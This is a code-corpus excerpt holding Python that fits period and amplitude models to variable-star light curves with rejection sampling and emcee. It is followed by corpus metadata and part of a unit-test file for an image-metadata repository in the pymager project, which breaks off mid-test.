fig.savefig(plotbase+'_samples.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_samples.png') # ADD SUM OF LNPROB IN A BOTTOM PANEL # Plot best-fit model # one panel per band, mag vs. phase fig,ax = plt.subplots(nband,1) fig.set_figheight(10) fig.set_figwidth(10) phase = (data['jd']/bestperiod + bestoffset) % 1 tmpl = np.interp(phase,template['phase'],template['mag']) for i,b in enumerate(uband): ind = bandindex[b] tphase = (np.linspace(0,1,100)+bestoffset) % 1 si = np.argsort(tphase) tphase = tphase[si] tmag = np.interp(tphase,template['phase'],template['mag']) model = tmag*ampratios[b]*bestamplitude+bestmeanmag[b] dd = np.hstack((data['mag'][ind],model)) yr = [np.max(dd)+0.05*dln.valrange(dd),np.min(dd)-0.05*dln.valrange(dd)] ax[i].plot(tphase,model,c='blue',zorder=1) ax[i].errorbar(phase[ind],data['mag'][ind],yerr=data['err'][ind],c='gray',fmt='none',zorder=2) ax[i].scatter(phase[ind],data['mag'][ind],c='black',zorder=3) txt = 'Band '+str(b) if ampratios is not None: txt += ' Amp Ratio=%.3f' % ampratios[b] ax[i].annotate(txt,xy=(0.02,yr[1]+0.10*dln.valrange(dd)),ha='left') ax[i].annotate('Mean Mag=%.3f' % bestmeanmag[b],xy=(0.02,yr[1]+0.20*dln.valrange(dd)),ha='left') ax[i].set_xlabel('Phase') ax[i].set_ylabel('Magnitude') ax[i].set_xlim(0,1) ax[i].set_ylim(yr) if i==0: ax[i].set_title('Period=%.3f Offset=%.3f Amplitude=%.3f ln(Prob)=%.3f' % (bestperiod,bestoffset,bestamplitude,bestlnprob)) fig.savefig(plotbase+'_best.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_best.png') class Sampler: """ Generic sampler. log_probability : function Function that calculates the ln probability given (theta, x, y, err). It must also perform the marginalization over the non-linear parameters. args : tuple Must at least contain (x, y, err). It can additional contain other positional arguments to be passed to log_probability(). kwargs : dict, optional Dictionary of keyword arguments to pass to log_probability() function. """ def __init__(self,log_probability,args=None,kwargs=None): self._log_probability = log_probability self._args = args # args should be (x,y,err, and other additional arguments to be passed to the functions) self._kwargs = kwargs # kwargs is a dictionary of additional keyword arguments to be passed to log_probability() def run(self,pmin=0.1,pmax=None,minsample=128,npoints=200000): """ Run the sampling.""" x = self._args[0] y = self._args[1] err = self._args[2] ndata = len(x) args = self._args kwargs = self._kwargs model = self._model log_probability = self._log_probability # Period range if pmax is None: pmax = (np.max(x)-np.min(x))*2 lgminp = np.log10(pmin) lgmaxp = np.log10(pmax) print('Pmin = %.3f' % pmin) print('Pmax = %.3f' % pmax) self._pmin = pmin self._pmax = pmax # Loop until we have enough samples nsamples,count = 0,0 trials,samples = None,None dtt = [('period',float),('offset',float),('lnprob',float)] while (nsamples<minsample): # Uniformly sample from log(pmin) to log(pmax) period = np.random.rand(npoints)*(lgmaxp-lgminp)+lgminp period = 10**period # Uniformly sample from 0 to 1 offset = np.random.rand(npoints) # Calculate the ln probabilty lnprob = log_probability([period,offset],*args,**kwargs) # Save the information trials1 = np.zeros(npoints,dtype=dtt) trials1['period'] = period trials1['offset'] = offset trials1['lnprob'] = lnprob if trials is None: trials = trials1 else: trials = np.hstack((trials,trials1)) # Rejection sampling draw = np.random.rand(npoints) ind, = np.where(draw < np.exp(lnprob)) if len(ind)>0: samp1 = np.zeros(len(ind),dtype=dtt) samp1['period'] = period[ind] samp1['offset'] = offset[ind] samp1['lnprob'] = lnprob[ind] if samples is None: samples = samp1 else: samples = np.hstack((samples,samp1)) nsamples += len(ind) print(count+1,nsamples) count += 1 # Convert to astropy tables samples = Table(samples) trials = Table(trials) self._samples = samples self._trials = trials best = np.argmax(trials['lnprob']) bestperiod = trials['period'][best] bestoffset = trials['offset'][best] bestlnprob = trials['lnprob'][best] print('Best period = %.4f' % bestperiod) print('Best offset = %.4f' % bestoffset) print('Best lnprob = %.4f' % bestlnprob) self._bestperiod = bestperiod self._bestoffset = bestoffset self._bestlnprob = bestlnprob ntrials = npoints*count print('ntrials = ',ntrials) # If unimodal, run emcee medperiod = np.median(samples['period']) delta = (4*medperiod**2)/(2*np.pi*(np.max(x)-np.min(x))) deltap = medperiod**2/(2*np.pi*(np.max(x)-np.min(x))) rmsperiod = np.sqrt(np.mean((samples['period']-medperiod)**2)) unimodal = False if rmsperiod < delta: print('Unimodal PDF, running emcee') unimodal = True medoffset = np.median(samples['offset']) rmsoffset = np.sqrt(np.mean((samples['offset']-medoffset)**2)) # Set up the MCMC sampler ndim, nwalkers = 2, 10 delta = [rmsperiod*5,rmsoffset*5] initpar = [bestperiod, bestoffset] pos = [initpar + delta*np.random.randn(ndim) for i in range(nwalkers)] emsampler = emcee.EnsembleSampler(nwalkers, ndim, log_probability, args=args,kwargs=kwargs) steps = 100 out = emsampler.run_mcmc(pos, steps) emsamples = emsampler.chain[:, np.int(steps/2):, :].reshape((-1, ndim)) # The maximum likelihood parameters bestind = np.unravel_index(np.argmax(emsampler.lnprobability),emsampler.lnprobability.shape) pars_ml = emsampler.chain[bestind[0],bestind[1],:] labels = ['Period','Offset'] for i in range(ndim): mcmc = np.percentile(emsamples[:, i], [16, 50, 84]) q = np.diff(mcmc) print(r'%s = %.3f -%.3f/+%.3f' % (labels[i], pars_ml[i], q[0], q[1])) bestperiod = pars_ml[0] bestoffset = pars_ml[1] bestlnprob = emsampler.lnprobability[bestind[0],bestind[1]] print('Best period = %.4f' % bestperiod) print('Best offset = %.4f' % bestoffset) print('Best lnprob = %.4f' % bestlnprob) self._bestperiod = bestperiod self._bestoffset = bestoffset self._bestlnprob = bestlnprob self._unimodal = unimodal return samples, trials def plots(self,plotbase='sampler'): """ Make the plots.""" x = self._args[0] y = self._args[1] err = self._args[2] ndata = len(x) bestperiod = self._bestperiod bestoffset = self._bestoffset bestlnprob = self._bestlnprob samples = self._samples trials = self._trials # Make plots matplotlib.use('Agg') fig,ax = plt.subplots(2,1) fig.set_figheight(10) fig.set_figwidth(10) # 2D density map im,b,c,d = stats.binned_statistic_2d(trials['offset'],np.log10(trials['period']),trials['lnprob'],statistic='mean',bins=(250,250)) z1 = ax[0].imshow(im,aspect='auto',origin='lower',extent=(c[0],c[-1],b[0],b[-1])) ax[0].set_xlabel('log(Period)') ax[0].set_ylabel('Offset') plt.colorbar(z1,ax=ax[0],label='Mean ln(Prob)') # Period histogram hist,a,b = stats.binned_statistic(np.log10(trials['period']),trials['lnprob'],statistic='mean',bins=1000) ax[1].plot(a[0:-1],hist) ax[1].set_xlabel('log(Period)') ax[1].set_ylabel('Mean ln(Prob)') fig.savefig(plotbase+'_trials.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_trials.png') # Too few samples for corner plot #sampdata = np.zeros((len(samples),3),float) #sampdata[:,0] = samples['period'] #sampdata[:,1] = samples['offset'] #sampdata[:,2] = samples['amplitude'] #samplabels = ['Period','Offset','Amplitude'] #fig = corner.corner(sampdata, labels=samplabels) #plt.savefig(plotbase+'_corner.png',bbox_inches='tight') #plt.close(fig) #print('Corner plot saved to '+plotbase+'_corner.png') # Plot offset vs. period color-coded by lnprob fig = plt.figure(figsize=(10,5)) plt.scatter(np.log10(samples['period']),samples['offset'],c=samples['lnprob']) plt.xlabel('log(Period)') plt.ylabel('Offset') plt.colorbar(label='ln(Prob)') fig.savefig(plotbase+'_samples.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_samples.png') ## Plot best-fit model ## one panel per band, mag vs. phase #fig,ax = plt.subplots(nband,1) #fig.set_figheight(10) #fig.set_figwidth(10) #phase = (data['jd']/bestperiod + bestoffset) % 1 #tmpl = np.interp(phase,template['phase'],template['mag']) #for i,b in enumerate(uband): # ind = bandindex[b] # tphase = (np.linspace(0,1,100)+bestoffset) % 1 # si = np.argsort(tphase) # tphase = tphase[si] # tmag = np.interp(tphase,template['phase'],template['mag']) # model = tmag*ampratios[b]*bestamplitude+bestmeanmag[b] # dd = np.hstack((data['mag'][ind],model)) # yr = [np.max(dd)+0.05*dln.valrange(dd),np.min(dd)-0.05*dln.valrange(dd)] # ax[i].plot(tphase,model,c='blue',zorder=1) # ax[i].errorbar(phase[ind],data['mag'][ind],yerr=data['err'][ind],c='gray',fmt='none',zorder=2) # ax[i].scatter(phase[ind],data['mag'][ind],c='black',zorder=3) # txt = 'Band '+str(b) # if ampratios is not None: # txt += ' Amp Ratio=%.3f' % ampratios[b] # ax[i].annotate(txt,xy=(0.02,yr[1]+0.10*dln.valrange(dd)),ha='left') # ax[i].annotate('Mean Mag=%.3f' % bestmeanmag[b],xy=(0.02,yr[1]+0.20*dln.valrange(dd)),ha='left') # ax[i].set_xlabel('Phase') # ax[i].set_ylabel('Magnitude') # ax[i].set_xlim(0,1) # ax[i].set_ylim(yr) # if i==0: # ax[i].set_title('Period=%.3f Offset=%.3f Amplitude=%.3f ln(Prob)=%.3f' % (bestperiod,bestoffset,bestamplitude,bestlnprob)) #fig.savefig(plotbase+'_best.png',bbox_inches='tight') #plt.close(fig) #print('Saving to '+plotbase+'_best.png') def sampler(catalog,template,pmin=0.1,pmax=None,ampratios=None,minerror=0.02, minsample=128,npoints=200000,plotbase='sampler'): """ catalog : table Catalog of data points, just have mag, err, jd, band template : table Template information. pmin : float, optional Minimum period to search in days. Default is 0.1 days. pmax : float, optional Maximum period to search in days. Default is 2 x time baseline. ampratios : dict, optional Amplitude ratios. Keys should be the unique band names and values should be the amplitue ratios. If this is not input, then a ratio of 1.0 is used. minerror : float, optional Minimum error to use. Default is 0.02. minsample : int, optional Mininum number of samples to return. Default is 128. npoints : int, optional Number of points to use per loop. Default is 200,000. plotbase : str, optional Base name for output plots. Default is "sampler". """ # MAKE THIS MORE GENERIC, GIVE INPUT model(), lnlikelihood(), and prior() # functions. t0 = time.time() # Create the sampling for Period (pmin to pmax) and phase offset (0-1) # Internal catalog data = Table(catalog).copy() data['wt'] = 1/np.maximum(data['err'],minerror)**2 # Only keep bands with 2+ observations uband = np.unique(data['band']) badind = np.array([],int) for i,b in enumerate(uband): ind, = np.where(data['band']==b) if len(ind)<2: print('band '+str(b)+' only has '+str(len(ind))+' observations. Not using') badind = np.hstack((badind,ind)) if len(badind)>0: data.remove_rows(badind) ndata = len(data) print(str(ndata)+' data points') print('time baselines = %.2f' % (np.max(data['jd'])-np.min(data['jd']))) # Get band index uband = np.unique(data['band']) nband = len(uband) bandindex = {} for i,b in enumerate(uband): ind, = np.where(data['band']==b) bandindex[b] = ind print(str(len(uband))+' bands = ',', '.join(np.char.array(uband).astype(str))) # No amplitude ratios input if ampratios is None: ampratios = {} for b in uband: ampratios[b] = 1.0 # Period range if pmax is None: pmax = (np.max(data['jd'])-np.min(data['jd']))*2 lgminp = np.log10(pmin) lgmaxp = np.log10(pmax) print('Pmin = %.3f' % pmin) print('Pmax = %.3f' % pmax) # Pre-calculate some terms that are constant totwtdict = {} totwtydict = {} for b in uband: ind = bandindex[b] totwtdict[b] = np.sum(data['wt'][ind]) totwtydict[b] = np.sum(data['wt'][ind] * data['mag'][ind]) # Loop until we have enough samples nsamples = 0 samplelist = [] count = 0 dtt = [('period',float),('offset',float),('amplitude',float),('lnlikelihood',float),('lnprob',float)] for b in uband: dtt += [('mag'+str(b),float)] trials = None while (nsamples<minsample): # Uniformly sample from log(pmin) to log(pmax) period = np.random.rand(npoints)*(lgmaxp-lgminp)+lgminp period = 10**period # Uniformly sample from 0 to 1 offset = np.random.rand(npoints) # Get phase and template points phase = (data['jd'].reshape(-1,1)/period.reshape(1,-1) + offset.reshape(1,-1)) % 1 tmpl = np.interp(phase.ravel(),template['phase'],template['mag']) tmpl = tmpl.reshape(ndata,npoints) # -- Find best fitting values for linear parameters --- # Calculate amplitude # term1 = Sum of XY # term2 = Sum of X * Y / W # term3 = Sum of X^2 # term4 = Sum of X * X / W # amplitude = (term1 - term2)/(term3 - term4) term1,term2,term3,term4 = 0,0,0,0 totwtxdict = {} for b in uband: ind = bandindex[b] totwtx1 = np.sum(data['wt'][ind].reshape(-1,1) * tmpl[ind,:]*ampratios[b],axis=0) totwtxdict[b] = totwtx1 totwtx2 = np.sum(data['wt'][ind].reshape(-1,1) * (tmpl[ind,:]*ampratios[b])**2,axis=0) totwtxy = np.sum(data['wt'][ind].reshape(-1,1) * tmpl[ind,:]*ampratios[b] * data['mag'][ind].reshape(-1,1),axis=0) term1 += totwtxy term2 += totwtx1 * totwtydict[b] / totwtdict[b] term3 += totwtx2 term4 += totwtx1**2 / totwtdict[b] amplitude = (term1-term2)/(term3-term4) # Calculate best mean magnitudes # mean mag = (Y - amplitude * X)/W meanmag = {} for b in uband: meanmag1 = (totwtydict[b] - amplitude * totwtxdict[b])/totwtdict[b] meanmag[b] = meanmag1 # Calculate likelihood/chisq model = np.zeros((ndata,npoints),float) resid = np.zeros((ndata,npoints),float) wtresid = np.zeros((ndata,npoints),float) for b in uband: ind = bandindex[b] model1 = tmpl[ind,:]*ampratios[b]*amplitude+meanmag[b] model[ind,:] = model1 resid[ind,:] = data['mag'][ind].reshape(-1,1)-model1 wtresid[ind,:] = resid[ind,:]**2 * data['wt'][ind].reshape(-1,1) lnlikelihood = -0.5*np.sum(wtresid,axis=0) lnlikelihood += -0.5*np.sum(np.log(2*np.pi*data['err']**2)) # Calculate ln probability = ln prior + ln likelihood # use flat prior, divide by area lnprior = np.ones(npoints,float) + np.log(1/(1.0*(lgmaxp-lgminp))) lnprob = lnprior + lnlikelihood # Save the information trials1 = np.zeros(npoints,dtype=dtt) trials1['period'] = period trials1['offset'] = offset trials1['amplitude'] = amplitude for k in meanmag.keys(): trials1['mag'+str(k)] = meanmag[k] trials1['lnlikelihood'] = lnlikelihood trials1['lnprob'] = lnprob if trials is None: trials = trials1 else: trials = np.hstack((trials,trials1)) # REJECT NEGATIVE AMPLITUDES?? # Rejection sampling draw = np.random.rand(npoints) #maxprob = np.max(np.exp(lnprob)) #ind, = np.where(draw < np.exp(lnprob)/maxprob) ind, = np.where(draw < np.exp(lnprob)) if len(ind)>0: for i in ind: samp = {'period':period[i],'offset':offset[i],'amplitude':amplitude[i]} for k in meanmag.keys(): samp[k] = meanmag[k][i] samp['lnlikelihood'] = lnlikelihood[i] samp['lnprob'] = lnprob[i] samplelist.append(samp) nsamples += len(ind) print(count+1,nsamples) count += 1 # Convert sample list to table dt = [('period',float),('offset',float),('amplitude',float)] for k in meanmag.keys(): dt += [('mag'+str(k),float)] dt += [('lnlikelihood',float),('lnprob',float)] samples = np.zeros(len(samplelist),dtype=dt) for i,samp in enumerate(samplelist): samples['period'][i] = samp['period'] samples['offset'][i] = samp['offset'] samples['amplitude'][i] = samp['amplitude'] samples['lnlikelihood'][i] = samp['lnlikelihood'] samples['lnprob'][i] = samp['lnprob'] for k in meanmag.keys(): samples['mag'+str(k)][i] = samp[k] # Convert to astropy tables samples = Table(samples) trials = Table(trials) best = np.argmax(trials['lnprob']) bestperiod = trials['period'][best] bestoffset = trials['offset'][best] bestlnprob = trials['lnprob'][best] bestamplitude = trials['amplitude'][best] bestmeanmag = {} for b in uband: bestmeanmag[b] = trials['mag'+str(b)][best] print('Best period = %.4f' % bestperiod) print('Best offset = %.4f' % bestoffset) print('Best amplitude = %.4f' % bestamplitude) print('Best lnprob = %.4f' % bestlnprob) ntrials = npoints*count print('ntrials = ',ntrials) # If unimodal, run emcee medperiod = np.median(samples['period']) delta = (4*medperiod**2)/(2*np.pi*(np.max(data['jd'])-np.min(data['jd']))) deltap = medperiod**2/(2*np.pi*(np.max(data['jd'])-np.min(data['jd']))) rmsperiod = np.sqrt(np.mean((samples['period']-medperiod)**2)) if rmsperiod < delta: print('Unimodal PDF, running emcee') # Set up the MCMC sampler ndim, nwalkers = 2, 10 delta = [rmsperiod*10,0.1] initpar = [bestperiod, bestoffset] pos = [initpar + delta*np.random.randn(ndim) for i in range(nwalkers)] emsampler = emcee.EnsembleSampler(nwalkers, ndim, log_probability_variable, args=(data['jd'],data['mag'],data['err'],data, template,ampratios,bandindex,totwtdict,totwtydict), kwargs={'prange':[pmin,pmax]}) steps = 100 out = emsampler.run_mcmc(pos, steps) emsamples = emsampler.chain[:, np.int(steps/2):, :].reshape((-1, ndim)) # The maximum likelihood parameters bestind = np.unravel_index(np.argmax(emsampler.lnprobability),emsampler.lnprobability.shape) pars_ml = emsampler.chain[bestind[0],bestind[1],:] labels = ['Period','Offset'] for i in range(ndim): mcmc = np.percentile(emsamples[:, i], [16, 50, 84]) q = np.diff(mcmc) print(r'%s = %.3f -%.3f/+%.3f' % (labels[i], pars_ml[i], q[0], q[1])) #fig = corner.corner(emsamples, labels=['Period','Offset']) #plt.savefig(plotbase+'_corner.png',bbox_inches='tight') #plt.close(fig) #print('Corner plot saved to '+plotbase+'_corner.png') bestperiod = pars_ml[0] bestoffset = pars_ml[1] bestlnprob = emsampler.lnprobability[bestind[0],bestind[1]] bestamplitude,bestmeanmag,model,lnlkhood = solveone(data,template,ampratios,bandindex, bestperiod,bestoffset,totwtdict,totwtydict) print('Best period = %.4f' % bestperiod) print('Best offset = %.4f' % bestoffset) print('Best amplitude = %.4f' % bestamplitude) for b in uband: print('Best meanmag %s = %.4f' %(str(b),bestmeanmag[b])) print('Best lnprob = %.4f' % bestlnprob) #import pdb; pdb.set_trace() # Make plots matplotlib.use('Agg') fig,ax = plt.subplots(2,1) fig.set_figheight(10) fig.set_figwidth(10) # 2D density map im,b,c,d = stats.binned_statistic_2d(trials['offset'],np.log10(trials['period']),trials['lnprob'],statistic='mean',bins=(250,250)) z1 = ax[0].imshow(im,aspect='auto',origin='lower',extent=(c[0],c[-1],b[0],b[-1])) ax[0].set_xlabel('log(Period)') ax[0].set_ylabel('Offset') plt.colorbar(z1,ax=ax[0],label='Mean ln(Prob)') # Period histogram hist,a,b = stats.binned_statistic(np.log10(trials['period']),trials['lnprob'],statistic='mean',bins=1000) ax[1].plot(a[0:-1],hist) ax[1].set_xlabel('log(Period)') ax[1].set_ylabel('Mean ln(Prob)') fig.savefig(plotbase+'_trials.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_trials.png') # Too few samples for corner plot #sampdata = np.zeros((len(samples),3),float) #sampdata[:,0] = samples['period'] #sampdata[:,1] = samples['offset'] #sampdata[:,2] = samples['amplitude'] #samplabels = ['Period','Offset','Amplitude'] #fig = corner.corner(sampdata, labels=samplabels) #plt.savefig(plotbase+'_corner.png',bbox_inches='tight') #plt.close(fig) #print('Corner plot saved to '+plotbase+'_corner.png') # Plot offset vs. period color-coded by lnprob # plot amplitude vs. period color-coded by lnprob fig,ax = plt.subplots(2,1) fig.set_figheight(10) fig.set_figwidth(10) # Plot offset vs. period color-coded by lnprob z1 = ax[0].scatter(np.log10(samples['period']),samples['offset'],c=samples['lnprob']) ax[0].set_xlabel('log(Period)') ax[0].set_ylabel('Offset') plt.colorbar(z1,ax=ax[0],label='ln(Prob)') # Plot amplitude vs. period color-coded by lnprob z2 = ax[1].scatter(np.log10(samples['period']),samples['amplitude'],c=samples['lnprob']) ax[1].set_xlabel('log(Period)') ax[1].set_ylabel('Amplitude') plt.colorbar(z2,ax=ax[1],label='ln(Prob)') fig.savefig(plotbase+'_samples.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_samples.png') # Plot best-fit model # one panel per band, mag vs. phase fig,ax = plt.subplots(nband,1) fig.set_figheight(10) fig.set_figwidth(10) phase = (data['jd']/bestperiod + bestoffset) % 1 tmpl = np.interp(phase,template['phase'],template['mag']) for i,b in enumerate(uband): ind = bandindex[b] tphase = (np.linspace(0,1,100)+bestoffset) % 1 si = np.argsort(tphase) tphase = tphase[si] tmag = np.interp(tphase,template['phase'],template['mag']) model = tmag*ampratios[b]*bestamplitude+bestmeanmag[b] dd = np.hstack((data['mag'][ind],model)) yr = [np.max(dd)+0.05*dln.valrange(dd),np.min(dd)-0.05*dln.valrange(dd)] ax[i].plot(tphase,model,c='blue',zorder=1) ax[i].errorbar(phase[ind],data['mag'][ind],yerr=data['err'][ind],c='gray',fmt='none',zorder=2) ax[i].scatter(phase[ind],data['mag'][ind],c='black',zorder=3) txt = 'Band '+str(b) if ampratios is not None: txt += ' Amp Ratio=%.3f' % ampratios[b] ax[i].annotate(txt,xy=(0.02,yr[1]+0.10*dln.valrange(dd)),ha='left') ax[i].annotate('Mean Mag=%.3f' % bestmeanmag[b],xy=(0.02,yr[1]+0.20*dln.valrange(dd)),ha='left') ax[i].set_xlabel('Phase') ax[i].set_ylabel('Magnitude') ax[i].set_xlim(0,1) ax[i].set_ylim(yr) if i==0: ax[i].set_title('Period=%.3f Offset=%.3f Amplitude=%.3f ln(Prob)=%.3f' % (bestperiod,bestoffset,bestamplitude,bestlnprob)) fig.savefig(plotbase+'_best.png',bbox_inches='tight') plt.close(fig) print('Saving to '+plotbase+'_best.png') print('dt=',time.time()-t0) return samples, trials

39.015723

142

0.554223

6,070

49,628

4.488797

0.072982

0.002422

0.008918

0.008478

0.893089

0.884831

0.873968

0.867692

0.865857

0.859251

0

0.026205

0.29566

49,628

1,271

143

39.04642

0.753283

0.195897

0

0.868974

0

0.078669

0.000559

0

1

0.014833

false

0

0.012361

0

0.039555

0.074166

0

null

0

1

0

1

0

null

0

7

f0706ca4ddf849842b61b80737475f64d3a0bbca

14,947

py

Python

tests/pymagertests/domain/test_imagemetadatarepository.py

samidalouche/pymager

86a5f02163def40b7bbf81fd17e4c3e84bc5059c

[ "ECL-2.0", "Apache-2.0" ]

1

2015-01-20T03:24:13.000Z

tests/pymagertests/domain/test_imagemetadatarepository.py

samidalouche/pymager

86a5f02163def40b7bbf81fd17e4c3e84bc5059c

[ "ECL-2.0", "Apache-2.0" ]

null

tests/pymagertests/domain/test_imagemetadatarepository.py

samidalouche/pymager

86a5f02163def40b7bbf81fd17e4c3e84bc5059c

[ "ECL-2.0", "Apache-2.0" ]

null

""" Copyright 2010 Sami Dalouche Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import unittest from pymager import domain from tests.pymagertests.abstractintegrationtestcase import AbstractIntegrationTestCase class ImageMetadataRepositoryTestCase(AbstractIntegrationTestCase): def onSetUp(self): self._itemRepository = self._image_server_factory.image_metadata_repository self._schema_migrator = self._image_server_factory.schema_migrator self._template = self._image_server_factory.session_template def test_should_not_find_original_image_metadata_because_of_unknown_id(self): assert self._itemRepository.find_original_image_metadata_by_id('anyId') is None def test_should_find_original_image_metadata_by_id(self): item = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(item) found_item = self._itemRepository.find_original_image_metadata_by_id('MYID12435') assert found_item is not None assert found_item.id == 'MYID12435' assert found_item.status == domain.STATUS_OK assert found_item.width == 800 assert found_item.height == 600 assert found_item.format == domain.IMAGE_FORMAT_JPEG _datetimes_should_be_equal(item.last_status_change_date, found_item.last_status_change_date) def test_should_update_original_image_metadata(self): item = domain.OriginalImageMetadata('MYID12435', domain.STATUS_INCONSISTENT, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(item) item.status = domain.STATUS_OK #self._itemRepository.update(item) found_item = self._itemRepository.find_original_image_metadata_by_id('MYID12435') assert found_item is not None assert found_item.id == 'MYID12435' assert found_item.status == domain.STATUS_OK assert found_item.width == 800 assert found_item.height == 600 assert found_item.format == domain.IMAGE_FORMAT_JPEG _datetimes_should_be_equal(item.last_status_change_date, found_item.last_status_change_date) def test_should_update_derived_image_metadata(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) found_item = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (100, 100), domain.IMAGE_FORMAT_JPEG) assert found_item is not None assert found_item.status == domain.STATUS_OK assert found_item.width == 100 assert found_item.height == 100 assert found_item.format == domain.IMAGE_FORMAT_JPEG assert found_item.original_image_metadata.id == 'MYID12435' assert found_item.original_image_metadata.status == domain.STATUS_OK assert found_item.original_image_metadata.width == 800 assert found_item.original_image_metadata.height == 600 assert found_item.original_image_metadata.format == domain.IMAGE_FORMAT_JPEG _datetimes_should_be_equal(item.last_status_change_date, found_item.last_status_change_date) def test_should_find_derived_image_metadata_by_original_image_metadata_id_size_and_format(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) found_item = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (100, 100), domain.IMAGE_FORMAT_JPEG) assert found_item is not None assert found_item.status == domain.STATUS_OK assert found_item.width == 100 assert found_item.height == 100 assert found_item.format == domain.IMAGE_FORMAT_JPEG assert found_item.original_image_metadata.id == 'MYID12435' assert found_item.original_image_metadata.status == domain.STATUS_OK assert found_item.original_image_metadata.width == 800 assert found_item.original_image_metadata.height == 600 assert found_item.original_image_metadata.format == domain.IMAGE_FORMAT_JPEG _datetimes_should_be_equal(item.last_status_change_date, found_item.last_status_change_date) def test_should_delete_original_image_metadata(self): item = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(item) self._itemRepository.delete(self._itemRepository.find_original_image_metadata_by_id('MYID12435')) found_item = self._itemRepository.find_original_image_metadata_by_id('MYID12435') assert found_item is None def test_deletion_of_derived_image_metadata_should_not_delete_associated_derived_image_metadatas(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) self._session.delete(self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (100, 100), domain.IMAGE_FORMAT_JPEG)) found_item = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (100, 100), domain.IMAGE_FORMAT_JPEG) assert found_item is None found_original_image_metadata = self._itemRepository.find_original_image_metadata_by_id('MYID12435') assert found_original_image_metadata is not None def test_deletion_of_original_image_metadata_should_delete_associated_derived_image_metadatas(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) self._session.delete(self._itemRepository.find_original_image_metadata_by_id('MYID12435')) found_derived_image_metadata = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (100, 100), domain.IMAGE_FORMAT_JPEG) assert found_derived_image_metadata is None found_original_image_metadata = self._itemRepository.find_original_image_metadata_by_id('MYID12435') assert found_original_image_metadata is None def test_should_navigate_to_derived_image_metadatas_from_original_image_metadata(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) found_item = self._itemRepository.find_original_image_metadata_by_id('MYID12435') assert found_item is not None assert found_item.derived_image_metadatas is not None assert len(found_item.derived_image_metadatas) == 1 assert found_item.derived_image_metadatas[0].id == item.id def test_should_not_find_derived_image_metadata_because_of_width(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) found_item = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (101, 100), domain.IMAGE_FORMAT_JPEG) assert found_item is None def test_should_not_find_derived_image_metadata_because_of_height(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) found_item = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('MYID12435', (100, 101), domain.IMAGE_FORMAT_JPEG) assert found_item is None def test_should_not_find_derived_image_metadata_because_of_id(self): original_image_metadata = domain.OriginalImageMetadata('MYID12435', domain.STATUS_OK, (800, 600), domain.IMAGE_FORMAT_JPEG) self._itemRepository.add(original_image_metadata) item = domain.DerivedImageMetadata(domain.STATUS_OK, (100, 100), domain.IMAGE_FORMAT_JPEG, original_image_metadata) self._itemRepository.add(item) found_item = self._itemRepository.find_derived_image_metadata_by_original_image_metadata_id_size_and_format('ANOTHERID', (100, 100), domain.IMAGE_FORMAT_JPEG) assert found_item is None def test_should_not_find_derived_image_metadata_because_of_format(self): original_image_metadata = 